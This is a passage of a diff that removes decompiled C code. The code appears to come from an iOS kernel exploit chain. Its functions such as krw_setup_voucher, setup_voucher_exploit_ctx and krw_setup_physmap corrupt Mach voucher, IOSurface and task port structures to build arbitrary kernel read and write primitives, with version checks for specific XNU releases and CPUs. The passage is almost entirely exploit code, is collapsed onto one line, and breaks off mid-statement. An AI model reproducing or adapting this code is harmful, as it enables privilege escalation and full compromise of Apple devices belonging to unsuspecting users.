int v3; // w19 - __int64 v5; // [xsp+8h] [xbp-18h] BYREF - - v2 = iosurface_id_to_index(a2); - if ( (v2 & 0x80000000) != 0 ) - return 0; - v3 = v2; - if ( (unsigned int)get_task_vm_info_0(mach_task_self_, &v5) ) - return 0; - if ( v3 <= 7 ) - return v5 + 4LL * (v3 + 6) + 232; - return 0; -} - -//----- (000000000001BDEC) ---------------------------------------------------- -__int64 __fastcall iosurface_id_to_index(unsigned int a1) -{ - if ( a1 > 0x19 ) - return 0xFFFFFFFFLL; - else - return kIOSurfaceIdToTaskVmInfoIndex[a1]; -} - -//----- (000000000001BE0C) ---------------------------------------------------- -__int64 __fastcall get_iosurface_mem_entry(struct_krwCtx *krwCtx, unsigned int a2, mach_port_name_t *a3) -{ - // struct_krwCtx *krwCtx; // x20 - mach_port_name_t *v6; // x0 - mach_port_name_t *v7; // x20 - mach_port_name_t v8; // w1 - kern_return_t v9; // w0 - __int64 result; // x0 - unsigned int v11; // w1 - unsigned __int64 v12; // [xsp+0h] [xbp-30h] BYREF - mach_port_name_t name; // [xsp+Ch] [xbp-24h] BYREF - - name = 0; - if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) ) - { - if ( voucher_create_mach_voucher(krwCtx, a2 + 0x1122334455667788LL, &name) ) - { -LABEL_7: - result = 0; - *a3 = name; - return result; - } - return 4097; - } - v6 = (mach_port_name_t *)iosurface_enum_mach_port(krwCtx, a2); - if ( v6 ) - { - v7 = v6; - v8 = *v6; - name = v8; - if ( v8 + 1 > 1 ) - goto LABEL_4; - v12 = 0; - if ( a2 - 19 >= 2 ) - { - if ( a2 != 16 ) - return 4097; - v11 = 11; - } - else - { - v11 = 12; - } - if ( (unsigned int)lookup_physmap_page_slot(krwCtx, v11, (__int64 *)&v12) && v12 ) - { - result = plist_elem_is_string_6(krwCtx, v12, &name); - if ( (uint32_t)result ) - return result; - if ( name + 1 >= 2 ) - { - v9 = mach_port_mod_refs(mach_task_self_, name, 0, 0xFFFF); - if ( v9 ) - return v9 | 0x80000000; - *v7 = name; - v8 = name; -LABEL_4: - v9 = mach_port_mod_refs(mach_task_self_, v8, 0, 1); - if ( v9 ) - return v9 | 0x80000000; - goto LABEL_7; - } - } - } - return 4097; -} - -//----- (000000000001BF68) ---------------------------------------------------- -__int64 __fastcall alloc_vm_page_mem_entry(struct_krwCtx *krwCtx, unsigned int a2, vm_size_t size, vm_address_t *address) -{ - __int64 v6; // x21 - kern_return_t v7; // w0 - mem_entry_name_port_t object; // [xsp+Ch] [xbp-24h] BYREF - - object = 0; - v6 = get_iosurface_mem_entry(krwCtx, a2, &object); - if ( !(uint32_t)v6 ) - { - if ( !address ) - { - v6 = 0; - goto LABEL_11; - } - v7 = vm_map(mach_task_self_, address, size, 0, 1, object, 0, 0, 3, 3, 2u); - if ( v7 ) - v6 = v7 | 0x80000000; - else - v6 = 0; - if ( !(uint32_t)v6 ) - goto LABEL_11; - } - if ( address && *address ) - { - vm_deallocate(mach_task_self_, *address, size); - *address = 0; - } -LABEL_11: - if ( object + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, object); - return v6; -} - -//----- (000000000001C058) ---------------------------------------------------- -__int64 __fastcall alloc_vm_page(struct_krwCtx *krwCtx) -{ - vm_size_t v2; // x20 - __int64 result; // x0 - vm_address_t v4; // [xsp+8h] [xbp-18h] BYREF - - v4 = 0; - v2 = vm_page_size; - if ( krwCtx->mappedKernelRegion && krwCtx->mappedKernelSize ) - return 0; - result = alloc_vm_page_mem_entry(krwCtx, 0x10u, vm_page_size, &v4); - if ( !(uint32_t)result ) - { - krwCtx->mappedKernelRegion = v4; - krwCtx->mappedKernelSize = v2; - } - return result; -} - -//----- (000000000001C0C8) ---------------------------------------------------- -bool __fastcall krw_setup_with_stat(struct_krwCtx *krwCtx, uint32_t *a2) -{ - unsigned __int64 v4; // x8 - __int64 v5; // x24 - __int64 v6; // x21 - ipc_voucher_t *v7; // x22 - __int32 *v8; // x25 - __int64 v9; // x27 - __int32 *v10; // x20 - int v11; // w8 - int v13; // w0 - unsigned __int64 v14; // x8 - __darwin_time_t tv_sec; // x22 - unsigned __int64 v16; // x8 - unsigned __int64 v17; // x22 - unsigned __int64 v18; // x8 - __int64 v19; // x22 - struct stat v20; // [xsp+0h] [xbp-110h] BYREF - int nullFd; // [xsp+94h] [xbp-7Ch] BYREF - __int32 v22[2]; // [xsp+98h] [xbp-78h] BYREF - __int64 v23; // [xsp+A0h] [xbp-70h] - uint64_t v24[2]; // [xsp+A8h] [xbp-68h] BYREF - - v24[0] = 0; - v24[1] = 0; - *(uint64_t *)v22 = -1; - v23 = -1; - nullFd = -1; - v4 = krwCtx->xnuVersionPacked; - if ( v4 > XNU_VERSION_PACKED(7195, 42, 0, 1023, 1023) && (krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 ) - { - v5 = 3; - } - else if ( v4 > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) ) - { - v5 = 3; - } - else - { - v5 = 4; - } - if ( (unsigned int)fd_open_dev_null(&nullFd) ) - { -LABEL_14: - v10 = v22; - do - { - if ( *v10 != -1 ) - close(*v10); - ++v10; - --v5; - } - while ( v5 ); - v11 = 0; - } - else - { - v6 = 0x1122334455667788LL; - v7 = (ipc_voucher_t *)v24; - v8 = v22; - v9 = v5; - do - { - if ( !voucher_create_mach_voucher(krwCtx, v6, v7) ) - goto LABEL_13; - *v8 = j__fileport_makefd(*v7); - mach_port_deallocate(mach_task_self_, *v7); - *v7 = 0; - if ( *v8 < 0 ) - goto LABEL_13; - ++v6; - ++v7; - ++v8; - --v9; - } - while ( v9 ); - if ( (unsigned int)setup_two_fds(v22) ) - { -LABEL_13: - fd_close(nullFd); - goto LABEL_14; - } - v13 = v22[1]; - krwCtx->krw_pipe_0 = v22[0]; - krwCtx->krw_pipe_1 = v13; - v14 = krwCtx->xnuVersionPacked; - if ( v14 > XNU_VERSION_PACKED(7195, 42, 0, 1023, 1023) && ((krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v14 > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023)) ) - krwCtx->iosurfaceFd_size4 = v23; - else - krwCtx->pipeFd0 = v23; - if ( !fstat(v13, &v20) ) - { - tv_sec = v20.st_atimespec.tv_sec; - if ( validate_kaddr_range(krwCtx, v20.st_atimespec.tv_sec) ) - krwCtx->gap_0x19D0_size8 = tv_sec; - v16 = krwCtx->xnuVersionPacked; - if ( v16 > XNU_VERSION_PACKED(7195, 42, 0, 1023, 1023) && ((krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v16 > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023)) ) - { - v17 = v20.st_atimespec.tv_nsec | 0xFFFFFF0000000000LL; - if ( validate_kaddr_range(krwCtx, v20.st_atimespec.tv_nsec | 0xFFFFFF0000000000LL) ) - krwCtx->gap_0x218 = v17; - v18 = ((unsigned __int64)v20.st_atimespec.tv_nsec >> 40) * krwCtx->pageSizeOrSomething; - if ( v18 && (krwCtx->pageMask & v18) == 0 ) - krwCtx->gap_0x19E0_size8 = v18; - if ( krwCtx->krw_pipe_0 != -1 && krwCtx->krw_pipe_1 != -1 && krwCtx->iosurfaceFd_size4 != -1 ) - { - if ( krwCtx->gap_0x218 ) - { - if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(7195, 100, 326, 0, 0) && !(unsigned int)alloc_vm_page(krwCtx) ) - { - v19 = *(uint64_t *)(krwCtx->mappedKernelRegion + 256LL); - if ( validate_kaddr_range(krwCtx, v19) ) - krwCtx->gap_0x220 = v19; - } - } - } - } - else if ( v20.st_atimespec.tv_nsec && (krwCtx->pageMask & v20.st_atimespec.tv_nsec) == 0 ) - { - krwCtx->gap_0x19E0_size8 = v20.st_atimespec.tv_nsec; - } - } - fd_read_test(&krwCtx->krw_pipe_0); - fd_close(nullFd); - v11 = 1; - } - *a2 = v11; - return true; -} - -//----- (000000000001C3EC) ---------------------------------------------------- -bool __fastcall krw_setup_ports_vm(struct_krwCtx *krwCtx, uint32_t *a2) -{ - vm_size_t v4; // x20 - int v5; // w8 - bool result; // w0 - __int64 v7; // x24 - ipc_voucher_t *v8; // x22 - mach_port_name_t *v9; // x0 - mach_port_name_t v10; // w1 - __int64 i; // x21 - mach_port_name_t v12; // w1 - int v13; // w21 - bool v14; // zf - __int64 v15; // x22 - __int64 v16; // x22 - __int64 v17; // x22 - int v18; // w24 - unsigned __int64 v19; // x0 - mach_port_t v20; // w9 - vm_size_t v21; // x8 - bool v22; // cf - int v23; // [xsp+14h] [xbp-7Ch] BYREF - vm_address_t v24; // [xsp+18h] [xbp-78h] BYREF - vm_address_t address; // [xsp+20h] [xbp-70h] BYREF - __int128 v26; // [xsp+28h] [xbp-68h] - mach_port_t connection[2]; // [xsp+38h] [xbp-58h] BYREF - mem_entry_name_port_t object; // [xsp+40h] [xbp-50h] - - object = 0; - *(uint64_t *)connection = 0; - address = 0; - v4 = vm_page_size; - v24 = 0; - v23 = -1; - v5 = fd_open_dev_null(&v23); - result = false; - if ( !v5 ) - { - v7 = -3; - v8 = connection; - do - { - if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) ) - { - result = voucher_create_mach_voucher(krwCtx, v7 + 0x312233445566778BLL, v8) != 0; - if ( !result ) - break; - if ( *v8 + 1 < 2 ) - goto LABEL_16; - } - else - { - v9 = (mach_port_name_t *)iosurface_enum_mach_port(krwCtx, (int)v7 + 3); - if ( !v9 ) - goto LABEL_16; - v10 = *v9; - *v8 = *v9; - if ( v10 + 1 < 2 ) - goto LABEL_16; - result = mach_port_mod_refs(mach_task_self_, v10, 0, 1); - if ( (uint32_t)result ) - goto LABEL_16; - } - ++v8; - v22 = __CFADD__(v7++, 1); - } - while ( !v22 ); - if ( (krwCtx->xnuMajorVersion > 8791 || IOConnectCallMethod(connection[1], 0x3E7u, 0, 0, 0, 0, 0, 0, 0, 0) == -536870201) - && !vm_map(mach_task_self_, &address, v4, 0, 1, connection[0], 0, 0, 3, 3, 2u) - && !vm_map(mach_task_self_, &v24, v4, 0, 1, object, 0, 0, 3, 3, 2u) ) - { - v15 = *(uint64_t *)v24; - if ( validate_kaddr_range(krwCtx, *(uint64_t *)v24) ) - { - krwCtx->gap_0x19D0_size8 = v15; - v16 = *(uint64_t *)(v24 + 8); - if ( validate_kaddr_range(krwCtx, v16) ) - { - krwCtx->ioConnectKernelValue = v16; - v17 = *(unsigned int *)(v24 + 16); - v18 = *(uint32_t *)(v24 + 20); - v19 = krw_xpac_vaddr_2(krwCtx, *(uint64_t *)(address + v17)); - if ( validate_kaddr_range(krwCtx, v19) ) - { - v20 = connection[0]; - krwCtx->ioConnectPort = connection[1]; - krwCtx->ioConnectMappedAddr = address; - krwCtx->ioConnectMappedSize = v4; - krwCtx->ioConnectMemPort = v20; - krwCtx->ioConnectDataSize = v18; - krwCtx->ioConnectDataOffset = v17; - fd_close(v23); - v13 = 1; - goto LABEL_24; - } - v26 = 0u; - if ( v4 ) - { - v21 = 0; - do - { - v14 = v26 == *(__int128 *)(address + v21); - v21 = (unsigned int)(v21 + 16); - v22 = !v14 || v21 >= v4; - } - while ( !v22 ); - } - } - } - } -LABEL_16: - fd_close(v23); - if ( address && v4 ) - vm_deallocate(mach_task_self_, address, v4); - for ( i = 0; i != 3; ++i ) - { - v12 = connection[i]; - if ( v12 + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, v12); - } - v13 = 0; -LABEL_24: - if ( v24 ) - v14 = v4 == 0; - else - v14 = 1; - if ( !v14 ) - vm_deallocate(mach_task_self_, v24, v4); - *a2 = v13; - return true; - } - return result; -} - -//----- (000000000001C720) ---------------------------------------------------- -__int64 __fastcall setup_voucher_exploit_ctx(struct_krwCtx *krwCtx, unsigned int *a2, unsigned int a3) -{ - __int64 result; // x0 - int xnuMajorVersion; // w8 - __int64 v8; // x22 - unsigned __int64 v10; // x23 - __int64 v11; // x24 - unsigned __int64 v12; // x22 - int v13; // w8 - __int64 v14; // x20 - int v15; // [xsp+0h] [xbp-40h] BYREF - uint8_t v16[4]; // [xsp+4h] [xbp-3Ch] BYREF - unsigned __int64 v17; // [xsp+8h] [xbp-38h] BYREF - - result = 0; - xnuMajorVersion = krwCtx->xnuMajorVersion; - v8 = 56; - if ( xnuMajorVersion <= 8018 ) - { - if ( xnuMajorVersion != 6153 && xnuMajorVersion != 7195 ) - return result; - } - else if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 ) - { - if ( xnuMajorVersion != 8792 ) - return result; - v8 = 48; - } - result = task_self_get_ipc_port(krwCtx, *a2); - if ( result ) - { - v10 = result; - result = kread_u32(krwCtx, result, &v15); - if ( (uint32_t)result ) - { - if ( (v15 & 0x3FF) != 0x25 ) - return 0; - result = maybe_ipc_port_get_kobject(krwCtx, v10); - if ( result ) - { - v11 = result; - v12 = result + v8; - v13 = kread_physmap_decorated(krwCtx, v12, &v17); - result = 0; - if ( v13 && v10 == v17 ) - { - result = kread_u32(krwCtx, v11 + 8, v16); - if ( (uint32_t)result ) - { - result = noppl_kwrite32(krwCtx, v11 + 8, 0xFFFF); - if ( (uint32_t)result ) - { - if ( mach_port_deallocate(mach_task_self_, *a2) ) - return 0; - *a2 = 0; - result = task_self_get_ipc_port(krwCtx, a3); - if ( result ) - { - v14 = result; - result = kwrite64(krwCtx, v12, result); - if ( (uint32_t)result ) - { - kread_and_vm_attr_double(krwCtx, v14); - return 1; - } - } - } - } - } - } - } - } - return result; -} - -//----- (000000000001C8B0) ---------------------------------------------------- -__int64 __fastcall alloc_iosurface_mach_port(struct_krwCtx *krwCtx, unsigned int a2, unsigned int a3) -{ - __int64 v6; // x0 - uint32_t *v7; // x21 - __int64 v8; // x0 - __int64 v9; // x23 - __int64 v10; // x22 - unsigned int v11; // w22 - kern_return_t v12; // w0 - __int64 v14; // [xsp+0h] [xbp-40h] BYREF - mach_port_name_t name; // [xsp+Ch] [xbp-34h] BYREF - - name = 0; - if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) ) - { - if ( voucher_create_mach_voucher(krwCtx, a2 + 0x1122334455667788LL, &name) - && (unsigned int)setup_voucher_exploit_ctx(krwCtx, &name, a3) ) - { - goto LABEL_9; - } - } - else - { - v14 = 0; - v6 = iosurface_enum_mach_port(krwCtx, a2); - if ( v6 ) - { - v7 = (uint32_t *)v6; - v8 = task_self_get_ipc_port(krwCtx, a3); - if ( !v8 ) - { - v10 = 163854; - goto LABEL_19; - } - v9 = v8; - v10 = kread_and_vm_attr_double(krwCtx, v8); - if ( (uint32_t)v10 ) - goto LABEL_19; - if ( a2 - 19 >= 2 ) - { - if ( a2 != 16 ) - { -LABEL_16: - v12 = mach_port_mod_refs(mach_task_self_, a3, 0, 0xFFFF); - if ( v12 ) - { - v10 = v12 | 0x80000000; - goto LABEL_19; - } - *v7 = a3; -LABEL_9: - v10 = 0; - goto LABEL_19; - } - v11 = 11; - } - else - { - v11 = 12; - } - if ( (unsigned int)lookup_physmap_page_slot(krwCtx, v11, &v14) && (v14 || (unsigned int)cache_physmap_page_slot(krwCtx, v11, v9)) ) - goto LABEL_16; - } - } - v10 = 4097; -LABEL_19: - if ( name + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, name); - return v10; -} - -//----- (000000000001CA3C) ---------------------------------------------------- -__int64 __fastcall insert_mach_port_send_right(struct_krwCtx *krwCtx, task_name_t a2, unsigned int a3, __int64 a4, unsigned int a5) -{ - __int64 v5; // x21 - __int64 v6; // x22 - __int64 v10; // x25 - __int64 v11; // x26 - __int64 v12; // x24 - unsigned int v13; // w1 - int inserted; // w0 - __int64 v15; // x23 - __int64 v16; // x25 - char *v17; // x22 - unsigned int v18; // w0 - unsigned int v19; // w0 - kern_return_t v20; // w0 - mach_port_t *v22; // x23 - uint32_t *v23; // x26 - mach_port_t v24; // w22 - uint64_t *v25; // x23 - unsigned int v26; // w0 - unsigned int v27; // w0 - char v29; // [xsp+14h] [xbp-8Ch] - mach_vm_size_t outsize; // [xsp+18h] [xbp-88h] BYREF - __int64 v31; // [xsp+20h] [xbp-80h] BYREF - uint64_t v32[2]; // [xsp+28h] [xbp-78h] BYREF - uint64_t v33[2]; // [xsp+38h] [xbp-68h] BYREF - - if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) ) - return 0; - LODWORD(v5) = a3; - if ( a3 - 1 > 3 ) - return 708609; - v10 = 0; - v11 = 163857; - v33[0] = 0; - v33[1] = 0; - v12 = a3; - v6 = 163848; - do - { - if ( a4 ) - v13 = *(uint32_t *)(a4 + 4 * v10); - else - v13 = v10; - uint64_t a1 = iosurface_enum_mach_port(krwCtx, v13); - if ( !a1 ) - return 4097; - if ( (unsigned int)(*(uint32_t *)a1 + 1) <= 1 && ((a5 >> v10) & 1) != 0 ) - return v6; - *((uint32_t *)v33 + v10++) = *(uint32_t *)a1; - } - while ( (unsigned int)v5 != v10 ); - inserted = get_task_vm_info_0(a2, &v31); - if ( inserted ) - return inserted | 0x80000000; - v15 = 0; - v29 = 0; - v32[0] = 0; - v32[1] = 0; - v16 = v31 + 232; -LABEL_16: - v17 = (char *)v32 + 4 * v15; - do - { - if ( a4 ) - v18 = *(uint32_t *)(a4 + 4 * v15); - else - v18 = v15; - v19 = iosurface_id_to_index(v18); - if ( v19 > 7 ) - return v11; - v20 = mach_vm_read_overwrite(a2, v16 + 4LL * (v19 + 6), 4u, (mach_vm_address_t)v17, &outsize); - if ( v20 ) - return v20 | 0x80000000; - if ( (unsigned int)(*((uint32_t *)v32 + v15) + 1) <= 1 && (unsigned int)(*((uint32_t *)v33 + v15) + 1) >= 2 ) - { - v29 = 1; - if ( (unsigned int)v5 - 1LL != v15++ ) - goto LABEL_16; - goto LABEL_32; - } - ++v15; - v17 += 4; - } - while ( (unsigned int)v5 != v15 ); - if ( (v29 & 1) == 0 ) - return 0; -LABEL_32: - v22 = (mach_port_t *)v33; - v23 = v32; - do - { - LODWORD(outsize) = 0; - v24 = *v22; - if ( *v22 + 1 >= 2 ) - { - inserted = mach_port_allocate(a2, 1u, (mach_port_name_t *)&outsize); - if ( inserted ) - return inserted | 0x80000000; - inserted = mach_port_mod_refs(a2, outsize, 1u, -1); - if ( inserted ) - return inserted | 0x80000000; - inserted = mach_port_insert_right(a2, outsize, v24, 0x13u); - if ( inserted ) - return inserted | 0x80000000; - inserted = mach_port_mod_refs(a2, outsize, 0, 0xFFFF); - if ( inserted ) - return inserted | 0x80000000; - *v23 = outsize; - } - ++v22; - ++v23; - --v12; - } - while ( v12 ); - v25 = v32; - if ( (unsigned int)v5 <= 1 ) - v5 = 1; - else - v5 = (unsigned int)v5; - while ( 1 ) - { - v26 = a4 ? *(uint32_t *)(a4 + 4 * v12) : v12; - v27 = iosurface_id_to_index(v26); - if ( v27 > 7 ) - break; - inserted = mach_vm_write(a2, v16 + 4LL * (v27 + 6), (vm_offset_t)v25, 4u); - if ( inserted ) - return inserted | 0x80000000; - v6 = 0; - ++v12; - v25 = (uint64_t *)((char *)v25 + 4); - if ( v5 == v12 ) - return v6; - } - return 163857; -} - -//----- (000000000001CD34) ---------------------------------------------------- -__int64 __fastcall mementry_iosurface_port_alloc(struct_krwCtx *krwCtx, unsigned int a2, vm_size_t size, vm_offset_t offset, vm_address_t *a5) -{ - int v10; // w25 - vm_offset_t v11; // x2 - kern_return_t memory_entry; // w0 - __int64 v13; // x22 - kern_return_t v14; // w0 - bool v15; // zf - vm_size_t sizea; // [xsp+18h] [xbp-58h] BYREF - mem_entry_name_port_t object_handle; // [xsp+24h] [xbp-4Ch] BYREF - vm_address_t address; // [xsp+28h] [xbp-48h] BYREF - - address = offset; - object_handle = 0; - sizea = size; - v10 = offset == 0; - v11 = offset; - if ( !offset ) - { - v14 = vm_allocate(mach_task_self_, &address, size, 1); - if ( v14 ) - { - v10 = 0; - v13 = v14 | 0x80000000; - goto LABEL_19; - } - v11 = address; - } - memory_entry = mach_make_memory_entry(mach_task_self_, &sizea, v11, 3, &object_handle, 0); - if ( memory_entry ) - { -LABEL_3: - v13 = memory_entry | 0x80000000; - goto LABEL_12; - } - if ( sizea == size ) - { - v13 = alloc_iosurface_mach_port(krwCtx, a2, object_handle); - if ( (uint32_t)v13 || offset ) - goto LABEL_12; - memory_entry = vm_map(mach_task_self_, a5, size, 0, 1, object_handle, 0, 0, 3, 3, 2u); - if ( !memory_entry ) - { - bzero((void *)*a5, size); - v13 = 0; - goto LABEL_19; - } - goto LABEL_3; - } - v13 = 708642; -LABEL_12: - if ( (uint32_t)v13 ) - v15 = offset == 0; - else - v15 = 0; - if ( v15 && *a5 ) - vm_deallocate(mach_task_self_, *a5, size); -LABEL_19: - if ( object_handle + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, object_handle); - if ( v10 ) - vm_deallocate(mach_task_self_, address, size); - return v13; -} - -//----- (000000000001CEC4) ---------------------------------------------------- -__int64 __fastcall alloc_vm_page_v2(struct_krwCtx *krwCtx) -{ - __int64 result; // x0 - vm_size_t v3; // x9 - vm_address_t v4; // [xsp+8h] [xbp-18h] BYREF - - v4 = 0; - result = mementry_iosurface_port_alloc(krwCtx, 0x10u, vm_page_size, 0, &v4); - if ( !(uint32_t)result ) - { - v3 = vm_page_size; - krwCtx->mappedKernelRegion = v4; - krwCtx->mappedKernelSize = v3; - } - return result; -} - -//----- (000000000001CF1C) ---------------------------------------------------- -bool __fastcall krw_setup_voucher(struct_krwCtx *krwCtx) -{ - __int64 v2; // x20 - bool result; // w0 - uint32_t v4; // w8 - uint32_t v5; // w8 - __int64 v6; // x9 - __int64 v7; // x10 - unsigned __int64 v8; // x22 - __int64 v9; // x24 - int v10; // w8 - unsigned __int64 v11; // x8 - unsigned __int64 v12; // x1 - unsigned __int64 v13; // x2 - unsigned __int64 portKaddr; // x0 - __int64 v14; // [xsp+8h] [xbp-88h] BYREF - mach_port_name_t name; // [xsp+10h] [xbp-80h] BYREF - int v16; // [xsp+14h] [xbp-7Ch] BYREF - uint32_t v17[4]; // [xsp+18h] [xbp-78h] - ipc_voucher_t v18[4]; // [xsp+28h] [xbp-68h] BYREF - - v2 = 0x1122334455667788LL; - result = voucher_create_mach_voucher(krwCtx, 0x1122334455667788LL, v18) != 0; - if ( result ) - { - portKaddr = task_self_get_ipc_port(krwCtx, v18[0]); - result = portKaddr != 0; - if ( result ) - { - result = kread_u32(krwCtx, portKaddr, &v16); - if ( result ) - { - if ( (v16 & 0x3FF) == 0x22 ) - { - return true; - } - else - { - result = false; - v4 = krwCtx->krw_pipe_1; - v17[0] = krwCtx->krw_pipe_0; - v17[1] = v4; - if ( v17[0] != -1 && v4 != -1 ) - { - v5 = krwCtx->iosurfaceFd; - if ( v5 != -1 && krwCtx->gap_0x218 ) - { - v6 = 3; - v7 = 2; -LABEL_13: - v8 = 0; - v17[v7] = v5; - v9 = 4 * v6; - while ( 1 ) - { - name = 0; - if ( voucher_create_mach_voucher(krwCtx, v2, &v18[v8 / 4]) - && !(unsigned int)j__fileport_makeport(v17[v8 / 4], &name) ) - { - if ( !v8 && !(unsigned int)get_task_bsd_info_kaddr(krwCtx, name, &v14) ) - { - v10 = krwCtx->xnuMajorVersion; - if ( (unsigned int)(v10 - 8019) >= 2 && v10 != 8792 && v10 != 7195 ) - return false; - kwrite_physmap_with_a3_ptr(krwCtx, v14 + 280, krwCtx->gap_0x19D0); - v11 = krwCtx->xnuVersionPacked; - if ( v11 >= XNU_VERSION_PACKED(7195, 42, 1, 0, 0) && ((krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v11 >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0)) ) - { - v13 = (krwCtx->gap_0x218 & 0xFFFFFFFFFFLL) - | ((unsigned __int64)(unsigned int)(krwCtx->slideMaybe / (unsigned int)krwCtx->pageSizeOrSomething) << 40); - v12 = v14 + krwCtx->stride_0x168 + 280; - } - else - { - v12 = v14 + krwCtx->stride_0x168 + 280; - v13 = krwCtx->slideMaybe; - } - kwrite_physmap_with_a3_ptr(krwCtx, v12, v13); - } - setup_voucher_exploit_ctx(krwCtx, &v18[v8 / 4], name); - mach_port_deallocate(mach_task_self_, name); - } - v8 += 4LL; - ++v2; - if ( v9 == v8 ) - return true; - } - } - if ( krwCtx->pipeFd0 != -1 ) - { - v5 = krwCtx->pipeFd1; - if ( v5 != -1 ) - { - v17[2] = krwCtx->pipeFd0; - v6 = 4; - v7 = 3; - goto LABEL_13; - } - } - return false; - } - } - } - } - } - return result; -} - -//----- (000000000001D1B0) ---------------------------------------------------- -bool __fastcall krw_setup_physmap(struct_krwCtx *krwCtx) -{ - // struct_krwCtx *krwCtx; // x19 - vm_size_t v2; // x20 - bool result; // w0 - unsigned int v4; // w1 - ipc_voucher_t v5; // w8 - kern_return_t memory_entry; // w8 - kern_return_t v7; // w8 - vm_address_t v8; // x1 - __int64 portKaddr; // x0 - __int64 v9; // x20 - unsigned int *v10; // x21 - unsigned int *v11; // x22 - unsigned int v12; // w23 - ipc_voucher_t v13; // [xsp+10h] [xbp-90h] BYREF - mem_entry_name_port_t object_handle; // [xsp+14h] [xbp-8Ch] BYREF - vm_address_t address; // [xsp+18h] [xbp-88h] BYREF - vm_size_t size; // [xsp+20h] [xbp-80h] BYREF - int v17; // [xsp+2Ch] [xbp-74h] BYREF - unsigned int v18; // [xsp+30h] [xbp-70h] BYREF - ipc_voucher_t v19[3]; // [xsp+3Ch] [xbp-64h] BYREF - - v2 = vm_page_size; - address = 0; - size = vm_page_size; - if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8020, 241, 7, 1023, 1023) ) - { - v19[0] = 0; - result = voucher_create_mach_voucher(krwCtx, 0x3122334455667788LL, v19) != 0; - if ( !result ) - return result; - v4 = v19[0]; - } - else - { - v11 = (unsigned int *)iosurface_enum_mach_port(krwCtx, 0); - if ( !v11 ) - return false; - v4 = *v11; - } - v18 = v4; - if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8020, 241, 7, 1023, 1023) ) - { - portKaddr = task_self_get_ipc_port(krwCtx, v4); - if ( !portKaddr ) - return false; - result = kread_u32(krwCtx, portKaddr, &v17); - if ( !result ) - return result; - if ( (v17 & 0x3FF) == 0x1C ) - return true; - } - else if ( v4 + 1 > 1 ) - { - return true; - } - v5 = krwCtx->ioConnectPort; - if ( v5 + 1 < 2 ) - return false; - if ( !krwCtx->ioConnectMappedAddr ) - return false; - if ( !krwCtx->ioConnectMappedSize ) - return false; - if ( (unsigned int)(krwCtx->ioConnectMemPort + 1) < 2 ) - return false; - v19[0] = krwCtx->ioConnectMemPort; - v19[1] = v5; - if ( !krwCtx->gap_0x19D0_size8 || !krwCtx->ioConnectKernelValue ) - return false; - memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 131075, &object_handle, 0); - result = false; - if ( !memory_entry ) - { - v19[2] = object_handle; - v7 = vm_map(mach_task_self_, &address, v2, 0, 1, object_handle, 0, 0, 3, 3, 2u); - result = false; - if ( !v7 ) - { - bzero((void *)address, v2); - v8 = address; - *(uint64_t *)address = krwCtx->gap_0x19D0_size8; - *(uint64_t *)(v8 + 8) = krwCtx->ioConnectKernelValue; - *(uint32_t *)(v8 + 16) = krwCtx->ioConnectDataOffset; - *(uint32_t *)(v8 + 20) = krwCtx->ioConnectDataSize; - result = vm_deallocate(mach_task_self_, v8, v2); - v9 = 0; - v10 = &v18; - do - { - if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8020, 241, 7, 1023, 1023) ) - { - v13 = 0; - result = voucher_create_mach_voucher(krwCtx, v9 + 0x3122334455667788LL, &v13) != 0; - if ( !result ) - return result; - *v10 = v13; - result = setup_voucher_exploit_ctx(krwCtx, v10, v19[v9]) != 0; - if ( !result ) - return result; - } - else - { - v11 = (unsigned int *)iosurface_enum_mach_port(krwCtx, v9); - if ( !v11 ) - return false; - v12 = v19[v9]; - portKaddr = task_self_get_ipc_port(krwCtx, v12); - if ( !portKaddr ) - return false; - if ( (unsigned int)kread_and_vm_attr_double(krwCtx, portKaddr) || mach_port_mod_refs(mach_task_self_, v12, 0, 0xFFFF) ) - return false; - *v11 = v12; - } - ++v9; - ++v10; - result = true; - } - while ( v9 != 3 ); - } - } - return result; -} - -//----- (000000000001D4A0) ---------------------------------------------------- -bool __fastcall krw_setup_iosurface(struct_krwCtx *krwCtx) -{ - // struct_krwCtx *krwCtx; // x19 - vm_size_t v1; // x20 - mach_port_name_t *portSlot; // x0 - int v4; // w8 - kern_return_t memory_entry; // w8 - kern_return_t v6; // w8 - uint64_t *v7; // x1 - kern_return_t status; // w0 - __int64 v9; // x21 - char v10; // w8 - char v11; // w24 - unsigned int *v12; // x20 - unsigned int v13; // w21 - __int64 portKaddr; // x0 - mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-54h] BYREF - vm_address_t address; // [xsp+10h] [xbp-50h] BYREF - vm_size_t size; // [xsp+18h] [xbp-48h] BYREF - uint32_t v17[2]; // [xsp+20h] [xbp-40h] - - v1 = vm_page_size; - address = 0; - size = vm_page_size; - if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) ) - return false; - portSlot = (mach_port_name_t *)iosurface_enum_mach_port(krwCtx, 0); - if ( !portSlot ) - return false; - if ( *portSlot + 1 > 1 ) - return true; - if ( (unsigned int)(krwCtx->threadForKernelRead + 1) < 2 